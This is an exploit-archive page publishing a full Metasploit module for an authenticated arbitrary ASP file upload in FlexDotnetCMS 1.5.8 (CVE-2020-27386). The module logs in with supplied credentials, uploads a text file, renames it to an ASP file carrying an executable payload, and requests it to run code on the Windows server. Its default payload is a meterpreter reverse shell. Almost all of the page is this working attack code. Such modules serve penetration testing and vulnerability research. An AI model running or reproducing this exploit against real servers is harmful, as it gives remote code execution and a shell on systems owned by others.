FlexDotnetCMS 1.5.8 Arbitrary ASP File Upload

2020.12.10
Credit: Erik Wynter
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'FlexDotnetCMS Arbitrary ASP File Upload', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability in FlexDotnetCMS v1.5.8 and prior in order to execute arbitrary commands with elevated privileges. The module first tries to authenticate to FlexDotnetCMS via an HTTP POST request to `/login`. It then attempts to upload a random TXT file and subsequently uses the FlexDotnetCMS file editor to rename the TXT file to an ASP file. If this succeeds, the target is vulnerable and the ASP file is generated as a copy of the TXT file, which remains on the server. Next, the module sends another request to rename the TXT file to an ASP file, this time adding the payload. Finally, the module tries to execute the ASP payload via a simple HTTP GET request to `/media/uploads/asp_payload` Valid credentials for a FlexDotnetCMS user with permissions to use the FileManager are required. This module has been successfully tested against FlexDotnetCMS v1.5.8 running on Windows Server 2012. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik Wynter' # @wyntererik - Discovery & Metasploit ], 'References' => [ ['CVE', '2020-27386'], ], 'Platform' => 'win', 'Targets' => [ [ 'Windows (x86)', { 'Arch' => [ARCH_X86], 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } } ], [ 'Windows (x64)', { 'Arch' => [ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2020-09-28' ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to FlexDotnetCMS', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) ] end def rename_file(res, payload) # obtain tokens required for renaming the payload html = res.get_html_document viewstate_key = html.at('input[@id="__VIEWSTATEKEY"]') event_validation = html.at('input[@id="__EVENTVALIDATION"]') if viewstate_key.blank? || event_validation.blank? # check if tokens exist before calling their values return 'no_tokens' end viewstate_key = viewstate_key['value'] event_validation = event_validation['value'] # rename TXT payload to ASP using the file editor, this creates a copy of the TXT file, so both have to be deleted (this happens in cleanup) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'), 'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" }, 'vars_post' => { '__EVENTTARGET' => 'ctl00$ContentPlaceHolder1$Save', '__VIEWSTATEKEY' => viewstate_key, '__EVENTVALIDATION' => event_validation, 'ctl00$ContentPlaceHolder1$FileSelector$SelectedFile' => "/media/uploads/#{@payload_asp}", 'ctl00$ContentPlaceHolder1$Editor' => payload } }) end def check # used to ensure cleanup only runs against flexdotnetcms targets @skip_cleanup = true # visit login the page to get the necessary cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login/'), 'keep_cookies' => true }) unless res return CheckCode::Unknown('Connection failed') end # the login page doesn't contain the name of the app or the author, so we're combining a bunch of checks to limit the odds of failing to flag an incorrect target unless res.code == 200 && res.body.include?('<title>Login - Home</title>') && res.body.include?('<label>Email</label><br>') && res.body.include?('>Forgot my password</a>') return CheckCode::Safe('Target is not a FlexDotnetCMS application.') end # get cookies and tokens necessary for authentication html = res.get_html_document viewstate_key = html.at('input[@id="__VIEWSTATEKEY"]') event_validation = html.at('input[@id="__EVENTVALIDATION"]') if viewstate_key.blank? || event_validation.blank? # check if tokens exist before calling their values return CheckCode::Detected('Received unexpected response while trying to obtain tokens necessary for authentication from /login') end viewstate_key = viewstate_key['value'] event_validation = event_validation['value'] # perform login to verify if the target is a FlexDotnetCMS application res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login/'), 'keep_cookies' => true, 'vars_post' => { # ideally the % in the line below would not be encoded, but I don't know how to achieve that without reverting to send_request_raw, which is ugly, and this works 'LoginControl$ctl00' => 'LoginControl$ctl01%7CLoginControl$LoginButton', '__EVENTTARGET' => 'LoginControl$LoginButton', '__VIEWSTATEKEY' => viewstate_key, 'LoginControl$Username' => datastore['USERNAME'], 'LoginControl$Password' => datastore['PASSWORD'], '__EVENTVALIDATION' => event_validation, '__ASYNCPOST' => 'true' } }) unless res return CheckCode::Detected('Connection failed') end unless res.code == 200 && res.body.include?('pageRedirect||%2fadmin') return CheckCode::Detected('Failed to authenticate to the server.') end # visit the backend dashboard res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'Admin/') unless res return CheckCode::Detected('Connection failed') end unless res.code == 200 && res.body.include?('Welcome to your site editor:') return CheckCode::Detected('Received unexpected response while trying to follow redirect to /Admin/') end print_good('Successfully authenticated to FlexDotnetCMS') # prepare to upload a TXT file and rename it to an ASP file. If this works, the target is vulnerable. # generate file names and post data @payload_txt = "#{rand_text_alphanumeric(6..10)}.txt" @payload_asp = @payload_txt.split('.txt')[0] << '.asp' post_data = Rex::MIME::Message.new post_data.add_part('\\media\\uploads\\', nil, nil, 'form-data; name="folder"') post_data.add_part(rand_text_alpha(10..20), 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{@payload_txt}\"") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Scripts', 'tinyfilemanager.net', 'dialog.aspx'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Accept' => 'application/json', 'X-Requested-With' => 'XMLHttpRequest', 'X-File-Name' => @payload_txt }, 'vars_get' => { 'cmd' => 'upload' }, 'data' => post_data.to_s }) @skip_cleanup = false # cleanup only has to run if at least one attempt to upload a file has been made vprint_status("Uploading test file #{@payload_txt}...") unless res return CheckCode::Detected("Connection failed while trying to upload test file #{@payload_txt}") end unless res.code == 200 return CheckCode::Detected("Received unexpected response while trying to upload test file #{@payload_txt}") end # load the test file in the file editor in order to obtain tokens required for renaming it res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'), 'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" } }) unless res return CheckCode::Detected("Connection failed while trying to open test file #{@payload_txt} in the file editor") end unless res.code == 200 && res.body.include?('Successfully loaded file') return CheckCode::Detected("Received unexpected response while trying to open test file #{@payload_txt} in the file editor") end # FlexDotNetCMS displays the full installation path on the server in response to the previous GET request, so we can print it flexdotnetcms_path = res.body.scan(/jQuery\.jGrowl\(\"Successfully loaded file \( (.*?)WebApplication/).flatten.first unless flexdotnetcms_path.blank? print_status("FlexDotnetCMS is installed on the target at #{flexdotnetcms_path}") end print_status("Uploaded test file #{@payload_txt}. Attempting to rename the file to #{@payload_asp}...") res = rename_file(res, rand_text_alpha(10..20)) if res == 'no_tokens' return CheckCode::Detected("Received unexpected response while trying to obtain tokens necessary for renaming #{@payload_txt}") end unless res return CheckCode::Detected("Connection failed while trying to rename the test file #{@payload_txt}.") end unless res.code == 200 && res.body.include?('jQuery.jGrowl("Successfully saved') && res.body.include?("/media/uploads/#{@payload_asp}") vprint_status("Failed to use the file editor to rename test file #{@payload_txt} to #{@payload_asp}") return CheckCode::Safe('Target is FlexDotnetCMS v1.5.9 or higher') end print_good("Successfully renamed test file #{@payload_txt} to #{@payload_asp} (this is a copy of #{@payload_txt}, which remains on the server)") return CheckCode::Vulnerable('Target is FlexDotnetCMS v1.5.8 or lower.') end def rename_test_file_and_add_payload print_status("Renaming #{@payload_txt} to #{@payload_asp} again, this time adding the payload") # load the file in the file editor in order to obtain tokens required for renaming it res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'), 'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" } }) unless res fail_with(Failure::Disconnected, "Connection failed while trying to open #{@payload_txt} in the file editor") end unless res.code == 200 && res.body.include?('Successfully loaded file') fail_with(Failure::UnexpectedReply, "Received unexpected response while trying to open #{@payload_txt} in the file editor") end # genenerate ASP payload, then rename the TXT file again while adding the payload exe = generate_payload_exe payload = Msf::Util::EXE.to_exe_asp(exe).to_s res = rename_file(res, payload) if res == 'no_tokens' fail_with(Failure::UnexpectedReply, "Received unexpected response while trying to obtain tokens necessary for renaming #{@payload_txt}") end unless res fail_with(Failure::Disconnected, 'Connection failed while trying to add the ASP payload.') end unless res.code == 200 && res.body.include?('jQuery.jGrowl("Successfully saved') && res.body.include?("/media/uploads/#{@payload_asp}") fail_with(Failure::Unknown, 'Failed to add the ASP payload.') end print_good("Successfully added the ASP payload to #{@payload_asp}") end def cleanup # only run when at least one attempt to upload a file has been made return if @skip_cleanup # delete uploaded TXT and ASP files [@payload_txt, @payload_asp].each do |file| res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'Scripts', 'tinyfilemanager.net', 'dialog.aspx'), 'vars_get' => { 'cmd' => 'delfile', 'file' => "\\media\\uploads\\#{file}", 'currpath' => '\\media\\uploads\\' } }) unless res && res.code == 200 && res.body.exclude?(file) print_error("Failed to delete #{file}.") print_warning("Manual cleanup of #{file} is required.") return end print_good("Successfully deleted #{file}") end end def exploit rename_test_file_and_add_payload print_status('Executing the payload...') res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'media', 'uploads', @payload_asp.to_s) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to execute the payload.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Received unexpected response while trying to execute the payload') end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top